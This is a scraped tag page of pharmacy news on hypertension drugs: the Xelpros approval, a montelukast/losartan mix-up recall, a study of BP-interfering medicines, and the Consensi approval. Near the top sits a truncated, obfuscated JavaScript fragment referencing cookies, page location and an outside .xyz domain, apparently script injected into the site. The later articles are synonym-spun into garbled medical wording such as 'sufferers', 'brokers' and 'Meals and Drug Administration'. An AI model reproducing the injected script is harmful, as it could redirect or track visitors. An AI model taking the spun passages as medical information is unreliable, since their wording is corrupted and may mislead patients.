‘Hypertension’ Tagged Posts

#15: Hypertension Half 2: Antihypertensive Medicines

var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTim...


Xelpros Authorised for Open-Angle Glaucoma, Ocular Hypertension

This is the first formulation of latanoprost that does not contain benzalkonium chloride.

This is the first formulation of latanoprost that does not contain benzalkonium chloride.

The Food and Drug Administration has approved Xelpros (latanoprost ophthalmic emulsion; Sun Pharma) 0.005% for the reduction of elevated intraocular pressure (IOP) in patients with open-angle glaucoma or ocular hypertension.

Xelpros contains latanoprost, a prostaglandin F2α analogue that is believed to reduce IOP by increasing the outflow of aqueous humor. It is the first formulation of latanoprost that does not contain benzalkonium chloride, as the product was developed using proprietary Swollen Micelle Microemulsion technology.

The approval of Xelpros was based on randomized, controlled clinical trials involving patients with open-angle glaucoma or ocular hypertension with a mean baseline IOP of 23-26mmHg. The mean IOP-lowering effect of Xelpros administered once daily in the evening was up to 6-8mmHg.

Xelpros will be supplied as a 2.5mL emulsion filled in a 5mL bottle. Each mL contains 50mcg of latanoprost.

Hypertension and Allergy Tablets Combine-Up Prompts Recall


August 31, 2018

The risk of unintentional consumption of losartan tablets is particular high for pregnant women, as the treatment could harm the fetus.

The risk of unintentional consumption of losartan tablets is particular high for pregnant women, as the treatment could harm the fetus.

Camber Pharmaceuticals is recalling one lot of Montelukast Sodium Tablets as the lot was found to contain Losartan Potassium Tablets instead. 

The affected product has the Lot #MON17384 and an expiration date of 12/31/2019. The label on the sealed bottle states ‘Montelukast Sodium Tablets, 10 milligram’ containing 20 tablets but actually contains 90 Losartan Potassium Tablets, 50mg. 

Taking losartan when not prescribed may cause renal dysfunction, hyperkalemia, and hypotension. Additionally, the risk of mixing-up the medications is especially high for pregnant women, as losartan is indicated to treat high blood pressure and could harm or kill a fetus. 

Montelukast, a luekotriene receptor antagonist, is used to prevent asthma symptoms such as wheezing, difficulty breathing, chest tightness and coughing; it is also indicatd to treat symptoms of seasonal and perennial allergic rhinitis. Losartan, an angiotensin II receptor blocker (ARB), is used alone or in combination with other drugs to treat hypertension and to reduce the risk of stroke in patients with high blood pressure and left ventricular hypertrophy.

The FDA recommends that consumers who have this recalled product should contact their healthcare provider or pharmacist immediately. 

Related Articles

Montelukast sodium tablets are beige, rounded square-shaped, film coated tablets with “I” imprinted on 1 side and “114” on the reverse. Losartan tablets are white and oval-shaped with the letter “I” imprinted on 1 side and the number “5” imprinted on the reverse. 

For more information visit FDA.gov.

Scroll down to see the next article

Use of BP-Interfering Medicines Examined Amongst Sufferers With Hypertension

NSAIDs, acetaminophen and hormone medications were the most commonly filled BP-interfering medications

NSAIDs, acetaminophen and hormone medicines had been probably the most generally crammed BP-interfering medicines

Using blood stress (BP)-interfering medicines seems to be prevalent amongst sufferers with hypertension who require antihypertensive intensification, in accordance with a research printed in American Journal of Hypertension.

To raised perceive the real-world use of those brokers amongst sufferers with hypertension, researchers carried out a retrospective drug utilization research utilizing medical and prescription claims from the Marketscan database (January 2008 to December 2014). The research included grownup sufferers with hypertension who had crammed ≥1 antihypertensive drug; these sufferers had been then separated into 2 cohorts: new antihypertensive customers (incident hypertension; N=521,028) and those that required titration to a fourth antihypertensive (incident treatment-resistant hypertension [TRH]; N=131,764). Publicity to BP-interfering medicine was assessed at 6 months earlier than and after the index date (outlined as the primary antihypertensive fill or the primary prevalence of overlapping use of ≥four antihypertensives).

Outcomes confirmed that nonsteroidal anti-inflammatory medicine (NSAIDs), acetaminophen and hormone medicines had been probably the most generally crammed BP-interfering medicines in each cohorts. An analogous proportion of sufferers within the incident hypertension cohort and incident TRH cohort began a BP-interfering treatment after the index date (18.three% and 17.6%, respectively). Furthermore, in each cohorts, over half of the sufferers who had been beforehand taking a BP-interfering treatment refilled that treatment after antihypertensive intensification (57.6% and 64.9%, respectively).

“Better efforts to restrict using these medicines, the place possible, could also be required amongst sufferers with uncontrolled hypertension,” the authors concluded. They added that “incorporating systematic processes to determine BP-interfering medicines throughout routine follow-up could also be helpful […], significantly for sufferers with tougher to regulate BP.”

Consensi Authorised to Deal with Hypertension and Osteoarthritis Ache


June 01, 2018

Consesni is only available in a celecoxib strength of 200mg and is only taken once daily

Consesni is simply obtainable in a celecoxib power of 200mg and is simply taken as soon as each day

Kitov Pharma introduced that the Meals and Drug Administration (FDA) has accredited Consensi (amlodipine and celecoxib) for sufferers with osteoarthritis ache and hypertension.

Consensi combines amlodipine besylate, a calcium-channel blocker (CCB), and celecoxib, a nonsteroidal anti-inflammatory drug (NSAID). The mix of celecoxib and amlodipine was studied in a randomized, double-blind, placebo- and active-controlled research in 152 sufferers with newly identified hypertension who required pharmacological remedy to regulate their hypertension. The trial used celecoxib capsules and amlodipine tablets that had been individually over-encapsulated after which taken collectively or with matching placebos. Sufferers had been randomized to 1 of four therapy arms: celecoxib 200mg + amlodipine 10mg, amlodipine 10mg, celecoxib 200mg or placebo; all remedies got as soon as a day for 14 days. Outcomes confirmed that the mixture of celecoxib and amlodipine supplied comparable blood strain discount to an equal dose of amlodipine. 

With regard to osteoarthritis, no research of the mixture of celecoxib and amlodipine have been carried out to point a discount in indicators and signs, nonetheless celecoxib alone has demonstrated these results in different scientific trials. There are additionally no long-term research to judge cardiovascular security for this mix.

Associated Articles

“We consider that Consensi, as a single tablet mixture therapy for osteoarthritis and hypertension, presents a singular worth proposition of doubtless growing therapy adherence,” said Kitov’s CEO, Isaac Israel.

Consensi carries a Boxed Warning relating to the danger of great cardiovascular and gastrointestinal occasions. Remedy is contraindicated within the setting of coronary artery bypass graft (CABG) surgical procedure. If analgesic remedy is not indicated, Consensi ought to be discontinued and sufferers ought to be initiated on various antihypertensive remedy.

Consensi will probably be obtainable in 2.5mg/200mg, 5mg/200mg, and 10mg/200mg power tablets in 100- and 500-count bottles. 

For extra info name (800) 651-6606 or go to Consensi.com.

Scroll right down to see the subsequent article